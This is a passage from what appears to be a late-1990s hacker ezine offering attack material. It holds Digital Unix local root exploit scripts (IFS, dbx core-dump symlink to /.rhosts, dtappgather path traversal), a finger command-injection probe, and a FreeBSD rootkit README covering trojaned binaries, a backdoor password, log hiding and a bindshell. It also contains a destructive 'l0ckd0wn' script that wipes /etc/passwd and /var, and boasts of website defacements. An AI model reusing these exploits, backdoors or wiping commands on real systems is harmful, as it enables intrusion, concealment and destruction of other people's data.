ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Local techniques
----------------

The first thing to try is the IFS hole in /usr/sbin/dop. If dop is setuid
root, there is a good chance that you can gain root this way. Here is a
shell script :

----------------------------------------------------------------------------

#!/bin/sh
cat > /tmp/usr <<EOF       
#!/bin/sh
IFS="   "                                                             
export IFS                                                       
exec /bin/sh               
EOF                                                                 
chmod 755 /tmp/usr         
IFS=/ PATH=/tmp:$PATH /usr/sbin/dop crack-user=root

----------------------------------------------------------------------------

After running this shell script, if it works, your euid should be 0. Your
prompt may or may not change depending on which shell you are using, so do
an id and check. That is a old sploit that most competent admins have 
probably fixed. 

Digital Unix has a large problem in the way that it handles core dumps of 
setuid root programs. If you can get a setuid root program to dump core,
it will create the core file as root, and it will follow symlinks. So,
how can we exploit this? I noticed a long time ago that if you run dbx
on a setuid root program that you have read access to, then it will core dump
in your current directory. Dbx is a debugger that comes with digital unix. 
However, some times machines won't have the liscence files installed
correctly. Here is the exploit :

----------------------------------------------------------------------------

#!/bin/sh
# dbx exploit by humble
# works on Digital Unix 4.x                                           
# this overwrites /.rhosts                                             
 
mkdir /tmp/.testing
cd /tmp/.testing                                                        
ln -s /.rhosts core                                                    
BOB="
+ +                                                   
"
export BOB                                                          
dbx /bin/crontab                                                      
dbx /bin/crontab                                                        
dbx /bin/crontab                                                         
rm -rf /tmp/.testing                                                
rsh -l root localhost /bin/sh -i

----------------------------------------------------------------------------

If /bin/crontab is not setuid root or you don't have read permissions to
it, you can use any other setuid root program.

Ok. If that doesn't work, there is another core dump situation I have
found. I have only verified this on three machines and have been told
that it hasn't worked on one or two others. The program /usr/X11/bin/dxpause 
is a screen locker. I found that when I run that program, and have my 
DISPLAY set to my freebsd or my linux box (running xfree86), the program
will dump core as root. Be carefull though, if the program doesn't dump
core, you will have to enter the password of the person who's account
you are using. You have to set up your X server to allow connections from
the target, and you will probably have to click once on your machine to
get the program running on the Digital Unix box to crash. 
Anyway, this can be exploited in a similair fashion to the dbx problem.

There is another core dump that was mentioned on Bugtraq by Tom Leffingwell,
but I haven't been able to re-create it. Here is excerpts from his posting:

----------------------------------------------------------------------------

Version Affected:  Digital UNIX 4.0B *with* patch kit 5
                   Unpatched 4.0B is not vunerable to this particular   
                   problem, but it is to others.

Patch kit 5 included a replacement xterm because the old one had a bug, too.
They replaced it with another that had a bigger problem. You can cause a
segmentation fault in xterm simply by setting your DISPLAY variable to a
display that you aren't allowed to connect to or one that doesn't exist.
Start xterm, and you get a core file.

----------------------------------------------------------------------------

Ok, core dumps not working? Don't worry.. there's more.
There has been some talk about holes in dtappgather on the security mailing
lists. We can use one of the holes to our advantage as well.
Using dtappgather, we can make any file on the system owned by us. This is
obviously a good way to take over a machine. Exploit:

env DTUSERSESSION=../../../../../../../../etc/passwd /usr/dt/bin/dtappgather

and /etc/passwd is now owned by us. This could be used to gain control of
/etc/inetd.conf and just about anything else you could imagine. I haven't 
used this exploit to mess around with the /tcb/files/auth/* tree, but I
would be willing to bet it is very successfull.

I've also noticed that the X server setup on some Digital Unix boxes are 
insecure. If you have a shell on the machine, try to set your DISPLAY to 
localhost:0 or the machines hostname:0, and then run a program like xkey.

Here are some exploits that I havent used or tried before (edited a little):

----------------------------------------------------------------------------

                         .LoW  _  _
                     |\  | _ |(_`|_'
                     |  \|(_)|,_)|_.
               ==========================

H0l4. So here it is another bug for Digital

System: OSF1 my.narco-goverment.sucks.co V4.0 464 alpha

Program: fstab - Static information about file systems and swap partitions
         advfsd - Starts the AdvFS graphical user interface daemon
Problemo: It creates a lockfile in tmp with nice permitions :)
   /tmp>ls -la

   (Blah Blah Blah.....)

   -rw-rw-rw-   1 root     system    0 Nov xx 15:49 fstab.advfsd.lockfile

What the hell to do with it:

   Before it creates
   ln -s /.rhosts /tmp/fstab.advfsd.lockfile

   from here... cat "+ +" > /tmp/fstab.advfsd.lockfile , etc etc.

                     The End - El Fin

                      Colombia 1997.

                         .LoW  _  _
                     |\  | _ |(_`|_'
                     |  \|(_)|,_)|_.

                   Efrain 'ET' Torres

----------------------------------------------------------------------------

This if for Digital Unix 3.x (I've never seen it work.)

$ ls -l /usr/tcb/bin/dxchpwd
-rwsr-xr-x   1 root     bin        49152 Jul 25  1995 /usr/tcb/bin/dxchpwd
$ ls -l /tmp/dxchpwd.log
/tmp/dxchpwd.log not found
$ export DISPLAY=:0     (or a remotehost)
$ ln -s /hackfile /tmp/dxchpwd
$ ls -l /hackfile
/hackfile not found
$ /usr/tcb/bin/dxchpwd
(The dxchpwd window will appear. Just enter root for username
 and anything for the passwd. You'll get a permission denied
message and the window will close.)
$ ls -l /hackfile
-rw-------   1 root     system         0 Nov 16 22:44 /hackfile

----------------------------------------------------------------------------

Remote techniques
-----------------

I don't have too much here except one pretty big hole. Digital Unix 4.x
is blind ip spoofable!!! So, if you can guess or determine a trust 
relationship, the machine is yours. Also, when the CERT statd advisory 
came out, Digital released a patch. I haven't played around with that, but
it might be worth looking into.

Also, Digital Unix 4.0 sometimes has an 0wned finger daemon, try this..

% finger Ý/bin/w@host

if this gives uptime info etc, it shows the system is vulnerable to this
attack, you can specify any command.. simple to use.

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  3. FreeBSD 2.2.5 rootkit : humble / method
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Ok.. I found this rootkit out on an ftp site somewhere. Anyway, when I got
it, there was a bunch of compile errors and it seemed to be for an older
version of freebsd. So, I took a new source tree from my box and copied the
trojan code from this rootkit into it.. So, this rootkit will work on the
FreeBSD 2.2.5-RELEASE. The rootkit is around 350k in size (compressed) and
it is available from the following :

ftp.sekurity.org/users/so1o
www.technotronic.com/files/ezines/crh
www.fth.org/crh


Ok.. I left out the following trojans and files:

chpass		Trojaned! User->r00t
passwd		Trojaned! User->r00t
zapbsd2		An improved utmp/wtmp/lastlog type zapper
tripwire	Trojaned! Hide changes

but I put in:

marryv11.c      good log cleaner.. i put a #define bsd in it

Enjoy,
humble - jmcdonal@unf.edu 1/15/98

Thanks to ducksquak, simpson and sygma for testing.

The
 _____              ____ ____  ____  
|  ___| __ ___  ___| __ ) ___||  _ \ 
| |_ | '__/ _ \/ _ \  _ \___ \| | | |
|  _|| | |  __/  __/ |_) |__) | |_| |
|_|  |_|  \___|\___|____/____/|____/  rootkit 1.2 (1/27/97) by Method
                                     
NOTE: This package was heavily influenced by the existing Linux rootkit, 
which in turn was adapted from the SunOS rootkit, etc., etc.

UPDATES: 1.0.1 - Fixed some broken Makefile stuff.  Made it so inetd does 
the right thing on a SIGHUP.  Added some extra security to the shell trojans.
1.1 - Added tripwire trojan.  Cleaned up some other stuff.
1.2 - Put a password on inetd (Thanks for the suggestion Whoot :)

This package includes the following:

chpass		Trojaned! User->r00t
inetd		Trojaned! Remote access
login		Trojaned! Remote access
ls		Trojaned! Hide files
du		Trojaned! Hide files
ifconfig	Trojaned! Hide sniffing
netstat		Trojaned! Hide connections
passwd		Trojaned! User->r00t
ps		Trojaned! Hide processes
rshd		Trojaned! Remote access
syslogd		Trojaned! Hide logs
fix		File fixer!
addlen		File length fixer(!)
zapbsd2		An improved utmp/wtmp/lastlog type zapper
bindshell	port/shell type daemon!
tripwire	Trojaned! Hide changes
sniffit		A kewl sniffz0r!
		
INSTALLATION:
To install this kit execute the command 'make all install' from the # prompt.
All of the file/password configurations are in config.h so feel free to
modify things to suit your particular fancy.  Everything here has been 
tested on a FreeBSD-stable distribution. See the note at the end about 
what to do if the admin uses tripwire. Also make sure to read the 
Makefile and scripts so you know what's going on.

USAGE:
OK I will go through how to use each program one by one. NOTE when I say 
password I mean the rootkit password not your users password (d0h!). By 
default the rootkit password is "h0tb0x".

chpass -	Local user->root. Run ch{sh,fn,pass} then when it asks you 
		for a new name enter your password.

inetd -	 	Binds a shell to a port for remote access. Adds a shell 
		exec service on the ingreslock port, type in the rootkit
		password to start a shell.

login -		Allows login to any account with the rootkit password.
		If root login is refused on your terminal login as "r00t".
		History logging is disabled if you login using your password.

ls -		Trojaned to hide specified files and directories.
		The default data file is /dev/ptyr.
		All files can be listed with 'ls -/'.
		The format of /dev/ptyr is:
		ptyr
		fbsdrootkit-1.0
		pr0n
		Use partial filenames. This would hide any files/directories 
		with the names ptyr, fbsdrootkit-1.0 and pr0n.

du -		(see ls)

ifconfig -	Modified to remove PROMISC flag on the ethernet device.

netstat -	Modified to remove tcp/udp/sockets from or to specified
		addresses, paths and ports.
		default data file: /dev/ptyq
		command 1: hide local address
		command 2: hide remote address
		command 3: hide local port
		command 4: hide remote port
		command 5: hide UNIX socket path

		example:
		1 128.31        <- Hides all local connections from 128.31.X.X
		2 128.31.39.20  <- Hides all remote connections to 128.31.39.20
		3 8000          <- Hides all local connections from port 8000
		4 6667          <- Hides all remote connections to port 6667
		5 .term/socket  <- Hides all UNIX sockets including the path 
				   .term/socket
		
passwd -	Local user->root. Enter your rootkit password instead of your
		old password.

ps -		Modified to remove specified processes.
		Default data file is /dev/ptyp.
		An example data file is as follows:
        	0 0             Strips all processes running under root
        	1 p0            Strips tty p0
        	2 sniffer       Strips all programs with the name sniffer
		Don't put in the comments, obviously.

rshd -		Execute remote commands as root. 
		Usage: rsh -l rootkitpassword host command
		i.e. rsh -l h0tb0x 0wn3d.escape.com /bin/sh -i
		would start a root shell.

syslogd -	Modified to remove specified strings from logging.
		I thought of this one when I was on a system which logged
		every connection.. I kept getting pissed off with editing
		files every time I connected to remove my hostname. Then I 
		thought 'Hey dude, why not trojan syslogd?!' and the rest
		is history. :)
		Default data file is /dev/ptys
		Example data file:
		evil.com
		123.100.101.202
		rshd
		This would remove all logs containing the strings evil.com,
		123.100.101.202 and rshd. Smart! :))

sniffit -	An advanced network sniffer. This is pretty kewl and has lots
		of filtering options and other stuff. Useful for targetting a
		single host or net. Sniffit uses ncurses.

bindshell -	This is pretty self-explanatory. Basically it binds a 
		shell to a port, 31337 by default. Read the source on 
		this one.

fix -		Replaces and fixes timestamp/checksum infomation on files.
		I modified this a bit for my own uses and to fix a nasty bug
		when replacing syslogd and inetd. The replacement file will
		be erased by fix (unlike other versions).  

addlen -	This quickie modifies the length of files by adding 
		harmless zeros to the end. Wonder why nobody ever 
		thought of doing this before. Inspired by a stupid 
		security tool which checks lengths of setuid files.

zapbsd2 -	This improved version of zapbsd writes over entries with 
		ones instead of zeros.  I added some capabilities and 
		error checking so I raised the number.

TRIPWIRE:
I have done a major improvement of this part. Simply make tripwire and 
the script will ask you a few questions and take action depending on your 
responses. If both the database file and tripwire binary are read-only 
then there is nothing you can do.

SOURCES:
Some of these patches are derived from the original SunOS rootkit. ls, 
du, ps, netstat and chpass were done by yours truly. Anything else came 
from the Linux rootkit with a few modifications. The idea for tripwire 
was my own.

OTHER:
I welcome all comments and questions at method@yikes.com. All complaints 
and flames will be sent to /dev/null.

Thanks to OGhost and Phelix for beta testing and advice.

In closing, this kit can only take you so far. Although it covers almost 
everything, a competent sysadmin will eventually catch on. Remember, 
never let your guard down.
-M

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  4. l0ckd0wn.sh : so1o
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

This is what you run when you're root, and you want to l0ckd0wn the system,
useful in the cases of webpage attacks over weekends etc. heh

% cat > l0ckd0wn.sh << STOP
<paste th3 skr1pt sh1t h3re>
STOP
% sh l0ckd0wn.sh
l0ckd0wn in pr0gr3ss.. must run as r00t
%

(then everything will go b00m)

Here it is...
-------------

#!/bin/sh
#
# l0ckd0wn.sh - so1o th3 k1ng.
#
echo "l0ckd0wn in pr0gr3ss.. must run as r00t"
echo "0wned:hahahahaha:666:666:l0ckd0wn m0therfuck3r:/dev/null:/dev/null" > /etc/passwd
echo "0wned:666::::::::" > /etc/shadow
echo "#" > /etc/inetd.conf
echo "#" > /etc/syslog.conf
echo "w0rdup, we b3 0wned" > /etc/issue.net
rm -rf /var
rm /etc/*tmp
rm /bin/login
touch /etc/utmp
touch /etc/wtmp
kill -9 -1

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
===============================================================================
==[ NEWS ]=====================[ .SECTION E. ]=======================[ NEWS ]==
===============================================================================
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1. VMG 0wned : sw1tch
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

THE SAGA CONTINUES.
===================

we have NFS skill, and they got br0ken.. again, but this time we had a plan :

Mirror of Janet Jackson page (jacko smokes a blunt) :

http://www.hacked.net/exp/com/janetjackson/
-------------------------------------------

Mirror of Rolling Stones page (mick fagg0r goes bald and ph34rz) :

http://www.hacked.net/exp/com/the-rolling-stones/
-------------------------------------------------

Not forgetting the Spice Gurls (b0w) :

http://www.hacked.net/exp/uk/co/vmg/spiceworld/
-----------------------------------------------


ugh, we didn't do it, it was other kids and stuff..

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

 = HANSON ARE NEXT, THEY WILL D1E. SO WILL THE BACKSTREET BOYS, OH YES. =

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
===============================================================================
==[ PROJECTS ]=================[ .SECTION F. ]===================[ PROJECTS ]==
===============================================================================
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  1. The Rhino9 Sentinel : so1o / humble
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Sentinel is a remote auditing tool that myself and humble are developing for
the Rhino9 Security Research Team, it will rock, and we will release the beta
version as soon as we get it finished, it is _very_ fast and effective, we'll
keep y'all posted! Full d0x will be in CRH issue 9.


ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
  2. TOTALCON '98 : so1o
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
  +------------------------------------+------------------------------------+
  Ý  An Official TotalCon Announcement Ý An Official TotalCon Announcement  Ý
  Ý  An Official TotalCon Announcement Ý An Official TotalCon Announcement  Ý
  +------------------------------------+------------------------------------+
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$


 TotalCon '98 is now a reality, here are preliminary details...
 ==============================================================

 Venue        :  The Old Firestation, Silver Street, Bristol, ENGLAND
 Date         :  *** POSTPONED, PROBLEMS WITH PREMESIES, stay tuned!@%$ ***
 Duration     :  36 hours non-stop    (midday -> 10:00pm next day)

 Cost         :  œ15 (15 UKP) ON THE DOOR, this will go back into
                                           the event (beer etc.)

 What         :  12 system network (with additional terminals) along
                 with full internet access, bring your laptops!

                 Loud music, live DJ's
                 Fully licensed bar downstairs / next door
                 Elite UV and spotlighting

                 ALOT of cool people
                 ^^^^^^^^^^^^^^^^^^^

      *** NO SPEAKERS WHATSOEVER *** *** NO SPEAKERS WHATSOEVER ***


 Travel        : Easily accessible by car, train, bus, plane or boat.

 Accomodation  : You can hang around the Firestation or book one of
                 many good hotels in the immediate area.


 Notes         : ALL CA$H RAISED AT THE DOOR FROM ENTRANCE FEES WILL
                 GO BACK INTO THE EVENT! WE WILL PURCHASE GREAT AMOUNTS
                 OF BEER AND FOOD, PROBABLY EVEN A LAPTOP AS A PRIZE!!


$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
  +------------------------------------+------------------------------------+
  Ý  An Official TotalCon Announcement Ý An Official TotalCon Announcement  Ý
  Ý  An Official TotalCon Announcement Ý An Official TotalCon Announcement  Ý
  +------------------------------------+------------------------------------+
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
===============================================================================
==[ FIN ]======================[ .SECTION G. ]========================[ FIN ]==
===============================================================================
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

                                .-----------.                    
                                :           :                      
                        .-----. `-----.     ; .-----.                
                :.      :  .--'      .'    .' :     :      .:            
        .-------:::.    :  :       .'    .'   :  .  :    .:::-------.    
        `-------:::'    :: :     .'    .'     :: :  :    `:::-------'    
                :'      ::.`--. ::::  `-----. ::.   :      `:          
                        `-----' ::::.       : `-----'                
                                `-----------'                      
                                                                 
                              [ Team CodeZero ]                
                                                             
               gl0b4l m0therfuck3rz, g1v1ng y0u th3 r34l d34l.

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
       the c0dez squirel returns next issue, he's back from vacation.
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
